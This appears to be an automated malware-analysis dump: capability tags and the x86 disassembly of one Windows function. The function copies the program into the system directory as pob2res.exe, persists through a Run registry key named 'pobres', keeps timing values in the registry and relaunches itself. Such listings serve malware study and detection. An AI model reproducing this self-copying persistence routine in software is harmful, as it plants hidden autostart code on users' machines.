Function at 0x405f20
Capabilities:
Copy file
Create process on windows
Get common file path
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407de0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x708
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0x40a580
call dword [sym.imp.MSVCRT.dll_time]
mov ecx, 0x138
xor eax, eax
lea edi, [ebp - 0x520]
add esp, 4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x520]
push 0x4e2
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [ebp - 0x520]
push ecx
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::CString_1
lea edx, [ebp - 0x20]
push 1
push edx
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
mov esi, dword [sym.imp.MSVCRT.dll__mbscmp]
push 0x40a20c
push eax
call esi
add esp, 8
lea ecx, [ebp - 0x20]
test eax, eax
setne bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x405fe8
lea eax, [ebp - 0x1c]
push 0x40a20c
lea ecx, [ebp - 0x20]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
mov ecx, 0x138
xor eax, eax
lea edi, [ebp - 0x520]
lea edx, [ebp - 0x520]
rep stosd dword es:[edi], eax
push 0x4e2
push edx
push 0
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x520]
lea ecx, [ebp - 0x30]
push eax
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x1c]
push str.pob2res.exe
lea edx, [ebp - 0x18]
push ecx
push edx
mov byte [ebp - 4], 2
call sub.MFC42.DLL_operator
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.004071f2
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 4
call fcn.004071f2
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x2c]
push eax
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x28]
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CString::MakeLower
lea ecx, [ebp - 0x28]
call sub.MFC42.DLL_CString::MakeLower
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
push edx
push eax
call esi
add esp, 8
test eax, eax
je 0x406236
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x30]
push 1
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
je 0x40662d
mov bl, 7
push 0
mov byte [ebp - 4], bl
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
and esi, reloc.WS2_32.dll_closesocket
jns 0x4060cf
dec esi
or esi, 0xfffffffc
inc esi
lea ecx, [ebp - 0x24]
call fcn.004071f2
lea esi, [esi + esi*2]
mov ecx, dword [0x40a580]
push 0x40a580
mov byte [ebp - 4], 8
lea eax, [esi + esi*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*8]
shl eax, 7
add ecx, eax
mov dword [0x40a580], ecx
call dword [sym.imp.MSVCRT.dll_localtime]
mov dword [0x40a57c], eax
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
inc edx
push ecx
add eax, 0x76c
push edx
push eax
lea ecx, [ebp - 0x24]
push str._4d_02d_02d
push ecx
call sub.MFC42.DLL_CString::Format
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
add esp, 0x18
lea edx, [ebp - 0x14]
push edx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call edi
test eax, eax
jne 0x40616e
mov eax, dword [ebp - 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [eax - 8]
push ecx
push eax
mov eax, dword [ebp - 0x14]
push 1
push 0
push str.pobres
push eax
call esi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x406174
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [ebp - 0x14]
push edx
push str.SOFTWAREMicrosoftWindowspobrestime
push closesocket
call edi
test eax, eax
jne 0x4061b2
push 1
push 0x40a318
push 1
push eax
mov eax, dword [ebp - 0x14]
push str.insdt
push eax
call esi
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x14]
push 0x14
push ecx
push 1
push 0
push str.Random
push edx
jmp 0x4061ef
lea eax, [ebp - 0x14]
push eax
push str.SOFTWAREMicrosoftWindowspobrestime
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, dword [ebp - 0x14]
push 1
push 0x40a318
push 1
push 0
push str.insdt
push ecx
call esi
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
push 0x14
push edx
push 1
push 0
push str.Random
push eax
call esi
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x18]
push 5
push 0x40a4b0
push 0x40a4b0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x24]
jmp 0x406628
lea eax, [ebp - 0x14]
push eax
push str.SOFTWAREBalaMusicNetworkBalaLive
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4062bf
lea ecx, [ebp - 0x20]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [ebp - 0x714]
push ecx
push edx
push eax
push eax
mov eax, dword [ebp - 0x14]
push str.Path
push eax
mov dword [ebp - 0x20], 0x1f3
call ebx
mov esi, eax
neg esi
sbb esi, esi
inc esi
je 0x4062aa
mov ecx, dword [ebp - 0x20]
mov dl, byte [ebp + ecx - 0x716]
lea eax, [ebp + ecx - 0x714]
mov cl, 0x5c
cmp dl, cl
je 0x406299
mov byte [eax - 1], cl
mov byte [eax], 0
lea edx, [ebp - 0x714]
mov ecx, 0x40a724
push edx
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call edi
test esi, esi
je 0x4062cb
jmp 0x40662d
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x14]
push ecx
push str.SOFTWAREMicrosoftWindowspobrestime
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4064bc
mov dword [ebp - 0x3c], eax
lea edx, [ebp - 0x38]
lea eax, [ebp - 0x520]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x3c]
push eax
push ecx
push 0
push str.insdt
push edx
mov dword [ebp - 0x38], 0x4b0
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_atol]
lea eax, [ebp - 0x520]
push eax
call esi
add esp, 4
lea ecx, [ebp - 0x38]
mov edi, eax
lea edx, [ebp - 0x520]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x3c]
push edx
push eax
push 0
push str.Random
push ecx
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x4b0
call ebx
lea edx, [ebp - 0x520]
push edx
call esi
add esp, 4
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 5
call fcn.004071f2
mov ebx, dword [sym.imp.MSVCRT.dll_localtime]
push 0x40a580
mov byte [ebp - 4], 0xf
call ebx
mov dword [0x40a57c], eax
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
inc edx
push ecx
add eax, 0x76c
push edx
push eax
lea ecx, [ebp - 0x24]
push str._4d_02d_02d
push ecx
call sub.MFC42.DLL_CString::Format
mov edx, dword [ebp - 0x24]
push edx
call esi
add esp, 0x1c
cmp edi, 1
jne 0x406475
mov eax, dword [ebp - 0x14]
push edi
push 0x40a2d0
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0
push str.insdt
push eax
call edi
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 3
idiv ecx
lea ecx, [ebp - 0x20]
mov esi, edx
add esi, 2
call fcn.004071f2
lea eax, [esi + esi*2]
mov ecx, dword [0x40a580]
push 0x40a580
mov byte [ebp - 4], 0x10
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*8]
shl edx, 7
add ecx, edx
mov dword [0x40a580], ecx
call ebx
mov dword [0x40a57c], eax
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
inc edx
push ecx
add eax, 0x76c
push edx
push eax
lea ecx, [ebp - 0x20]
push str._4d_02d_02d
push ecx
call sub.MFC42.DLL_CString::Format
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
add esp, 0x18
push 0x14
push edx
push 1
push 0
push str.Random
push eax
call edi
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xf
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x24]
jmp 0x406628
cmp dword [ebp - 0x20], eax
jle 0x406486
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x24]
jmp 0x406628
cmp edi, 2
jle 0x4064a1
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x24]
jmp 0x406628
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
jmp 0x40668c
push 0
mov byte [ebp - 4], 0x11
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x1f
idiv ecx
lea ecx, [ebp - 0x34]
mov esi, edx
call fcn.004071f2
lea eax, [esi + esi*2]
push 0x40a580
mov byte [ebp - 4], 0x12
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*8]
mov eax, dword [0x40a580]
shl edx, 7
add eax, edx
mov dword [0x40a580], eax
call dword [sym.imp.MSVCRT.dll_localtime]
mov dword [0x40a57c], eax
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
inc edx
push ecx
add eax, 0x76c
push edx
push eax
lea ecx, [ebp - 0x34]
push str._4d_02d_02d
push ecx
call sub.MFC42.DLL_CString::Format
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
add esp, 0x18
lea edx, [ebp - 0x14]
push edx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call ebx
test eax, eax
jne 0x40657b
mov eax, dword [ebp - 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [eax - 8]
push ecx
push eax
mov eax, dword [ebp - 0x14]
push 1
push 0
push str.pobres
push eax
call esi
mov ecx, dword [ebp - 0x14]
push ecx
call edi
jmp 0x406581
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [ebp - 0x14]
push edx
push str.SOFTWAREMicrosoftWindowspobrestime
push closesocket
call ebx
test eax, eax
jne 0x4065bf
push 1
push 0x40a318
push 1
push eax
mov eax, dword [ebp - 0x14]
push str.insdt
push eax
call esi
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x14]
push 0x14
push ecx
push 1
push 0
push str.Random
push edx
jmp 0x4065fc
lea eax, [ebp - 0x14]
push eax
push str.SOFTWAREMicrosoftWindowspobrestime
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, dword [ebp - 0x14]
push 1
push 0x40a318
push 1
push 0
push str.insdt
push ecx
call esi
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
push 0x14
push edx
push 1
push 0
push str.Random
push eax
call esi
mov ecx, dword [ebp - 0x14]
push ecx
call edi
mov edx, dword [ebp - 0x18]
push 5
push 0x40a4b0
push 0x40a4b0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret